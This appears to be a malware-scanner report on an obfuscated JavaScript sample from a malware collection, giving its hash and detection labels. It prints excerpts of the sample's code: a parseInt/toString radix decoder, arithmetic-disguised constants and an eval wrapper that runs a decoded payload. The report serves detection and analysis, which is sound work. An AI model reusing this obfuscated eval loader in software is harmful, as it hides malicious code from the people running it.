Suspicious ^80% javascript-malware-collection Download

20151211_c4d248e359d696b6ac36ad2102c943bb.js

Obfuscated eval execution

parseInt toString radix remapObfuscated increment/decrement via arithmetic

SHA-256b5f9af22d1d88dc2891d44e4e0e86aea9acecf51ece31cddfbb3cfadfa469cfb

Evidence

parseInt toString radix remap lines 1–6

1:460… ','w','x','y','z','{','|','}','~','']
2function jbljp(YclqGhQQCMN,GcFJELyURrxeP,Gvevfwos){YQVQ=parseInt(YclqGhQQCMN,GcFJELyURrxeP);rrqpj=YQVQ.toString(Gvevfwos);return rrqpj;}function DQKCfWJimvsfOIh(PwJUBAcrkWJkmZCZY){eval(PwJUBAcrkWJkmZCZY)}
3function evFhPiUgEPdpJUhlCSUsTDIRudgOWdbcMEaQPOsrovWRSHLtSSfzrY(tGLZzIxbEuIEe,qQfffYgAMqEFVY){ return PvAGS[jbljp(tGLZzIxbEuIEe[qQfffYgAMqEFVY],(13029+789)/658,(7118+812)/793)];}
4function DSArIaI(lwBMUEisLYRGkmbySCKUJzjVmJAsOLGHgNom) {return !isNaN(parseFloat(lwBMUEisLYRGkmbySCKUJzjVmJAsOLGHgNom)) && isFinite(lwBMUEisLYRGkmbySCKUJzjVmJAsOLGHgNom);}
5function LjNmapHNQWI(DsJYpAJu,Hcykkr){return DsJYpAJu.split(Hcykkr)}
6var d=new Array("d","a","d","a","5d","4d","59","1b","41","1b","2j","1b","1d","5a","56","4i","5b","28","5e","4h","4e", …

Obfuscated increment/decrement via arithmetic lines 8–11

8:4…  xvJdD=[d,p];
9var wnQrPECje=[];
10function PzbYkVLYgDoCNGCVF(xvJdD){xSJyHqQcQyT= '';kiFqQyTAOpK=(-724+724)/405; while(true){if(kiFqQyTAOpK >= (965+561)/763)break;wnQrPECje[kiFqQyTAOpK]=(-342+342)/612; while(true) { if(wnQrPECje[kiFqQyTAOpK] > xvJdD[kiFqQyTAOpK].length-(641+102)/743) { break; } if (DSArIaI(jbljp(xvJdD[kiFqQyTAOpK][wnQrPECje[kiFqQyTAOpK]],(2634+54)/128,(1637+383)/202))) {xSJyHqQcQyT += evFhPiUgEPdpJUhlCSUsTDIRudgOWdbcMEaQPOsrovWRSHLtSSfzrY([xvJdD[kiFqQyTAOpK][wnQrPECje[kiFqQyTAOpK]]], (-68+68)/190);} wnQrPECje[kiFqQyTAOpK]++;}kiFqQyTAOpK++;} return xSJyHqQcQyT}
11DQKCfWJimvsfOIh(PzbYkVLYgDoCNGCVF(xvJdD));